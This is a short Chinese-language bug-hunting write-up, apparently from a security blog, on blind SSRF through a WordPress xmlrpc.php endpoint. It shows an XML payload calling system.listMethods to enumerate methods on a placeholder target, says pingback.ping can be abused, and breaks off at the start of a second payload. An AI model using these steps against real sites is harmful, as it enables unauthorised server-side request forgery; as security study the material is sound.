【网络安全】XML-RPC漏洞之盲SSRF
未经许可，不得转载。
文章目录
-
- 正文
漏洞原理参考：【网络安全】XML-RPC PHP WordPress漏洞
正文
探索目标时，访问该链接：https://www.target.com/about-us/xmlrpc.php，页面如下：
修改GET为POST，并构造payload，以检查 XML RPC 服务器上启用了哪些方法：
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
由回显可知，pingback.ping方法是可利用的，因此我构造了以下payload：
<?xml version=”1.0" e